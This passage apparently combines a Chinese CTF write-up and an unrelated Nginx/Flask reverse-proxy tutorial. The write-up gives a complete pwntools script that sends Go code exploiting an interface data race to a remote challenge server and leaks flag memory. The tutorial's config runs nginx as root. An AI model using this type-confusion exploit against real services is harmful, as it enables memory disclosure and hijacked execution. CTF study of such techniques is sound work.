    

    这里暂且不管作者实现的address这个小trick

    在main中启动了一个goroutine,其中不断交叉对confused传值,其中badunsafe类型,goodsafe类型。当条件竞争发生,confusedtype指向bad,而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win,就可以实现程序流劫持。

    赛题

    题目分析

    回到题目本身:

    package main
    
    func main() {
            flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
            for i, v := range flag {
                    flag[i] = v + 1
            }
            hack()
    }
    
    func hack() {
        /*code*/
    }
    

    地址泄露过程:
    - 本地构造好EXP框架后,打印出flag首元素地址
    - 去掉main中的println语句,然后打印hack中栈变量的地址
    - 计算两地址差值作为偏移
    - 打印出远程环境中hack栈变量的地址
    - 用之前的偏移计算出flag首元素的地址
    - 注意:
    -- go版本一定要和远程对上
    -- 虽然main中的println不影响flag的地址,但是会影响hack中栈变量的地址
    -- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的,也许编译期间有一些我不知道的机制在里面。

    不做过多演示

    接下来问题的关键在于泄露一个已知地址上的值应如何实现。

    而golang在不使用unsafe包时不允许把已知的整数值地址,转换为指针进行读写操作。于是需要用条件竞争,来绕过这个限制,从而泄露出我们自定义地址保存的的值。

    EXP:

    from pwn import *
    import time
    
    code_base = '''
    func hack(){
        println("exp start...")
        a := "123"
        println(&a) 
        var confused, good, bad itf
        pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
        good = &safe{f: pp}
        bad = &unsafe{}
        confused = good    
        go func() {
            for {
                confused = bad
                func() {
                    if i >= 0 {
                        return
                    }
                    println(confused)
                }()
                confused = good
                i++
            }
        }()
        for {
            confused.X()
            j++
        }
        println("exp stop...")
    }
    
    var i, j int
    
    type safe struct {
        f int
    }
    
    type unsafe struct {
        f *int
    }
    
    type itf interface {
        X()
    }
    
    func (s safe) X() {}
    
    func (u unsafe) X() {
        if u.f != nil {
            println("AAAA")
            println(*u.f)
        }
    }
    #'''
    
    flag = ""
    
    for i in range(45):
        p = remote("123.56.96.75", 30775)
        #context.log_level = "debug"
        p.recvuntil(b"[*] Now give me your code: \n")
        print(str())
        code = code_base.replace('{{offset}}', str(i))
        p.sendline(code)
        p.recvuntil(b"AAAA\n")
        chr_int = int(p.recvuntil(b"\n", drop=True), 10)
        flag += chr(chr_int - 1)
        p.close()
        print(flag)
    
    print("flag:", flag)
    

    单独看其中code_base部分

    func hack(){
        println("exp start...")
        a := "123"
        println(&a) //用于地址泄露
        var confused, good, bad itf
        pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
        good = &safe{f: pp}
        bad = &unsafe{}
        confused = good    
        go func() {
            for {
                confused = bad
                func() {
                    if i >= 0 {
                        return
                    }
                    println(confused)
                }()
                confused = good
                i++
            }
        }()
        for {
            confused.X()
            j++
        }
        println("exp stop...")
    }
    
    var i, j int
    
    type safe struct {
        f int
    }
    
    type unsafe struct {
        f *int
    }
    
    type itf interface {
        X()
    }
    
    func (s safe) X() {}
    
    func (u unsafe) X() {
        if u.f != nil {
            println("AAAA")
            println(*u.f)
        }
    }
    

    其中safe结构中有int类型的f,而unsafe结构中有*int类型的f。并且unsafe实现了接口itfX方法,该方法输出f *int指针保存的值。在条件竞争时,如果confused中type为unsafe,而data为bad中的数据(创建bad的时候f被赋值为flag元素的地址),这时调用confusedX方法就会打印出flag元素地址中的值了。

    最后python统一接收处理得出flag。

    使用Nginx反向代理Flask静态资源
    环境:Ubuntu 18.04

    实现原理

    如果flask项目里面有大量静态资源,可以尝试使用Nginx代理对静态资源的请求,把真正的动态请求转发给Flask。

    比如:
    flask在127.0.0.1监听8001端口,而Nginx配置为监听0.0.0.0的8000端口,那么在外部请求hostname:8000时就会把动态请求转发到8001上,而静态资源请求则直接代理至储存静态资源的目录下。

    Nginx配置

    安装

    apt install nginx

    配置文件路径

    1. 存放全局配置:/etc/nginx/nginx.conf
    2. 存放单个server配置:/etc/nginx/conf.d/xxx-xxx-xxx.conf
      > 这个目录下的配置默认被1中的配置文件include了,所以可以单独编辑

    * 注意Nginx配置文件的内层块是会继承外层块的属性的

    具体配置内容

    nginx.conf

    • 其中每个配置项都大有讲究,单这里重点标记反代flask要注意的
    • 如果在运行中改变了配置文件可以用nginx -s reload重载
    #default: www-data
    #这里要注意,运行nginx的用户需要和flask保持一致(这里个人原因用了root),否则会发生权限错误
    user root;
    worker_processes auto;
    pid /run/nginx.pid;
    include /etc/nginx/modules-enabled/*.conf;
    
    events {
        worker_connections 768;
        # multi_accept on;
    }
    
    http {
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        # server_tokens off;
    
        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;
    
        include /etc/nginx/mime.types;
        default_type application/octet-stream;
    
        ##
        # SSL Settings
        ##
    
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;
    
        ##
        # Logging Settings
        ##
    
        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;
    
        ##
        # Gzip Settings
        ##
    
        gzip on;
    
        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
    
        ##
        # Virtual Host Configs
        ##
    
        include /etc/nginx/conf.d/*.conf;
        #include /etc/nginx/sites-enabled/*;
    }
    

    xxx-xxx-xxx.conf

    • 这个文件比较重要
    server {
        listen      8000; # 对外监听的端口
    
        root        /root/github/Vision-Ward; #服务器上的项目目录
        server_name arm.eqqie.cn; # 域名
    
        # 处理静态资源:
        #注意这里用了正则表达式,也就是把路由到/static/*的请求都视为对静态资源的请求
        location ~ ^\/static\/.*$ { 
            #这里的root表示静态资源的位置,注意如果按照上面的写法,会在这个路径后拼接上static,所以这里只需要写到static的上层目录即可
            root /root/github/Vision-Ward/app;
        }
    
        # 动态请求转发到8001端口(gunicorn):
        location / {
            #flask监听的位置(不对外)
            proxy_pass       http://127.0.0.1:8001;
            #这里也很重要,把请求的原始信息暴露给藏在后面的flask,避免其没有办法获取用户真正的ip地址
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header Host $host;
            #建议如果涉及非80端口请求重定向的时候,用下面这种设置,可以避免重定向后端口消失的问题
            #proxy_set_header Host arm.eqqie.cn:8000;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
    }
    

    flask配置

    • 注意监听地址保持和配置文件中proxy_pass一致
    • 然后只需要正常启动flask即可

    使用nginx启动服务,如果遇到错误直接复制下来查就会有很多答案。也可以多注意看看log。